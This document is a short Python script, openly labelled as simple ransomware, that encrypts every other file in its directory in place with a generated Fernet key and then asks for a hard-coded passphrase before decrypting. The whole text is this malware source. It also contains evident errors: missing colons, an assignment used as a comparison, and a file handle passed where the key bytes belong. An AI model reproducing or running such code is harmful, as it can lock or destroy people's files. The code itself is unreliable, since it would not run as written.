Simple python ransomware script, to encrypt files in the same directory

simple-ransomware.py

#!/usr/bin/env python3

import os
from cryptography.fernet import Fernet

# Find files
scriptname = "simple-ransomware.py"
keyName = "theykey.key"
files = []


for file in os.listdir():
    if file == scriptname or file == keyName:
      continue
    if os.path.isfile(file)
      files.append(file)

#print(files)

key = Fernet.generate_key()
#print(key)

# encrypt
with open(keyName, "wb") as thekey:
  thekey.write(key)
for file in files:
  with open(file, "rb") as thefile:
    contents = thefile.read()
    contents_encrypted = Fernet(key).encrypt(contents)
    with open(file, "wb") as thefile:
      thefile.write(contents_encrypted)
print("all files encryped")
      
#decrypt
secretphrase = "secret"
user_phrase = input("Enter the secret phrase for decrypting\n")
if user_phrase = secretphrase
  with open(keyName, "rb") as key:
    secretkey = key.read()
  for file in files:
    with open(file, "rb") as thefile:
      contents = thefile.read()
      contents_decrypted = Fernet(key).decrypt(contents)
      with open(file, "wb") as thefile:
        thefile.write(contents_decrypted)
  print("all files decryped")
else:
  print("That is the wrong secret phrase")